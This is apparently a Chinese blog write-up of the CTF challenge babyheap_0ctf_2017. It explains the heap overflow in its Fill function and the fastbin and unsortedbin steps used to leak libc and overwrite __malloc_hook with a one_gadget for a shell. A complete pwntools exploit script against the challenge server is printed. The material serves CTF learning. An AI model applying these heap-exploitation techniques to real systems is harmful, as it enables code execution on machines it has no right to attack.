堆的入门题

        一道很简单的堆题,buu上的babyheap_0ctf_2017

题目解析

64位的程序,防护全开

题目整体,接下来就一个一个来查看里面函数的作用

sub_B70()

这里用mmap申请了很大一块内存区域

sub_CF4()

通过这个菜单函数我们可以更快的知道下面函数的作用

sub_138c()

这个就是一个简单的赋一个整数值的函数,后面的chunk的size大小也是通过这个函数给的

Allocate

创建一个堆块 ,用函数控制给我们的堆块赋与空间。其实我们所谓的堆块,就是一个个的链表,所以这里下面的3个应该是结构体中的3个参数。

Fill()此处是漏洞存在处

 由于我们在创建时是给chunk指定了空间的,而我们在Fill函数输入数据的时候发现还可以指定输入空间,那么这里就可以造成堆溢出

后面的两个函数都是一般的free和输出了,就不一一解释了

漏洞利用

堆题的做法无非就是利用各种绕过去获得libc的偏移,然后去修改malloc_hook或者free_hook为system函数,最后去触发获取shell

那么如何泄露libc呢?

这道题的free函数最后是已经把指针清零了,所以double free等用法都是不行的,但是存在堆溢出,那我们便可以利用这一个特性去修改其他chunk的fd指针,来达到泄露的效果

from pwn import *
from LibcSearcher import *
context.log_level='debug'
context(os='linux', arch='amd64',log_level='debug')

p = process('./babyheap')
elf = ELF('./babyheap')
libc = ELF('./libc-2.23.so')

def dbg():
    gdb.attach(p)
    pause()

def add(size):
    p.sendlineafter("Command: ",str(1))
    p.sendlineafter("Size: ",str(size))

def edit(index, content):
    p.sendlineafter("Command: ",str(2))
    p.sendlineafter("Index: ",str(index))
    p.sendlineafter("Size: ",str(len(content)))
    p.sendafter("Content: ",content)

def free(index):
    p.sendlineafter("Command: ",str(3))
    p.sendlineafter("Index: ",str(index))

def show(index):
    p.sendlineafter("Command: ",str(4))
    p.sendlineafter("Index: ",str(index))

这里先做好准备工作,然后构建堆块

我们这里先构建5个堆块,我们先释放1,2chunk

现在1,2已经进入了fastbins中,其中2chunk的fd指针是指向1chunk的,这里我们通过0chunk的堆溢出去修改2chunk的fd指针为4chunk

通过查看0chunk的地址我们可以确定要修改指针的位置,这里我们需要注意,我们在输入数据的时候是在0x55f272255010开始输入的,上面的0x10字节分别是presize和size,并且我们在覆盖数据的时候要保留原有chunk的size,也就是图中所有0x21的地方

 

注:我是分开一步步进行调试的,所以地址会不同,大家观看结果便行

这里我们可以观察到原本已经释放的1chunk又处于了未释放的状态,2chunk的指针也成功的指向了4chunk ,但为什么4chunk没有处于free状态呢?,这是因为fastbins容纳不了这么大的chunk,所以这里我们再将4chunk的大小修改为0x21

可以看到,现在未释放的4chunk也被我们伪造成了释放的效果,那我们现在再申请两个chunk,由于fastbin是先进先出的并且之前释放的是1和2,那么现在1和2chunk都是空的,由于我们把chunk2的fd指针修改成了chunk4,那么系统就会默认chunk4是先被释放的,所以我们再申请时,chunk2就相当于chunk4,而chunk1就相当于chunk2

接下来我们就要把chunk4的size改回0x90,并且释放它,使得它进入unsortedbins,由于unsortedbins的特性,但这个bins中只有一个chunk时,那么它的fd和bk指针都会指向main_arena这个地方,而main_arena-0x10就是malloc_hook的地址,那么就很简单了

这个add(0x80)的chunk的作用是为了防止top chunk合并其他chunk

现在就可以看到我们的4chunk成功的进入了unsortedbin,但是由于我们之前的操作,导致2chunk其实就是4chunk,那么我们再输出2时便可以顺带输出4chunk的fd指针

我们在那泄露的地址减去88减去0x10就是malloc_hook了,最后便是用泄露的地址减去libc中的地址算出偏移即可,然后利用onegadegt中的地址去覆盖malloc_hook就可以了。

先将2chunk也就是4chunk的fd指针指向malloc_hook

这里申请0x60个字节是为了后续的去修改malloc_hook,为什么要是0x60的以及这里修改地址的原因可以去看我之间的堆的博客,这里就不做解释了

成功修改,然后我们在申请两个堆块便可以申请到我们伪造的这个假chunk,也就是

malloc_hook-0x23,由于presize和size有0x10字节的原因,我们输入数据只需要输入0x13*b'a'就可到达malloc_hook,最后将onegadget写入,创建chunk触发malloc_hook便可拿到shell

完整exp如下

from pwn import *
from LibcSearcher import *
context.log_level='debug'
context(os='linux', arch='amd64',log_level='debug')

# p = process('./babyheap')
p=remote('node4.buuoj.cn',27874)
elf = ELF('./babyheap')
libc = ELF('./libc-2.23.so')

def dbg():
    gdb.attach(p)
    pause()

def add(size):
    p.sendlineafter("Command: ",str(1))
    p.sendlineafter("Size: ",str(size))

def edit(index, content):
    p.sendlineafter("Command: ",str(2))
    p.sendlineafter("Index: ",str(index))
    p.sendlineafter("Size: ",str(len(content)))
    p.sendafter("Content: ",content)

def free(index):
    p.sendlineafter("Command: ",str(3))
    p.sendlineafter("Index: ",str(index))

def show(index):
    p.sendlineafter("Command: ",str(4))
    p.sendlineafter("Index: ",str(index))

add(0x10)   #0
add(0x10)   #1
add(0x10)   #2
add(0x10)   #3
add(0x80)   #4
free(1)
free(2)
payload=p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80)
edit(0,payload)
payload=p64(0)*3+p64(0x21)
edit(3,payload)
add(0x10)   #4  2
add(0x10)   #2  1
payload=p64(0)*3+p64(0x91)
edit(3,payload)
add(0x80)   #5
free(4)
show(2)
malloc_hook=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-88-0x10
print(hex(malloc_hook))
base=malloc_hook-libc.symbols['__malloc_hook']
print(hex(base))
system=0x4526a+base
add(0x60)   #4
free(4)
payload=p64(0)*3+p64(0x71)+p64(malloc_hook-0x23)
edit(3,payload)
add(0x60)   #4
add(0x60)   #6
payload=0x13*b'a'+p64(system)
edit(6,payload)
add(0x20)
# dbg()
p.interactive()

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值